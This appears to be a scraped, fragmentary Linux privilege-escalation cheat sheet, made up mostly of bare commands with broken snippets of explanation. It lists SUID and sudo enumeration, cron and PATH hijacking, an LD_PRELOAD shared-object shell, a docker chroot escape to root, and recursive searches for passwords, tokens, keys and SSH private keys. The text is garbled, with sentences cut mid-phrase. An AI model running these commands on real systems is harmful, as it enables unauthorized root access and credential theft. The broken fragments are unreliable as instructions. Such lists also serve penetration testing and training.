OS Version
uname -r
ps -eo user,pid,comm | grep '^root'
find / -perm -4000 2>/dev/null
sudo -l
sudo -u targetuser /bin/vulnfile
NOPASSWD
or exploitable commands (e.g., vim
, find
).cat /etc/crontab
, ls -la /etc/cron.d/
openssl passwd -1
.find / -name "*.pem" 2>/dev/null
PATH
and place malicious script in writable directory.no_root_squash
in /etc/exports
find / -writable -type d 2>/dev/null
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
LD_PRELOAD=./shell.so <vulnerable_program>
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
find / -type f -exec grep -iH 'password' {} \; 2>/dev/null
find / -type f -exec grep -Ei 'password|passwd|pwd|secret|token|key' {} \; 2>/dev/null
find / -type f -exec grep -iE 'pass(word)?\s*=\s*["'\'']?.+["'\'']?' {} \; 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*.old" 2>/dev/null
find / -name "id_rsa" -o -name "id_dsa" -o -name "authorized_keys" -o -name "known_hosts" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null
whoami #username
hostname #hostname
cat /etc/os-release #os details
uname -a #kernel details
lscpu #cpu details
route #ip and interface details
cat /etc/passwd | cut -f1 -d: # users details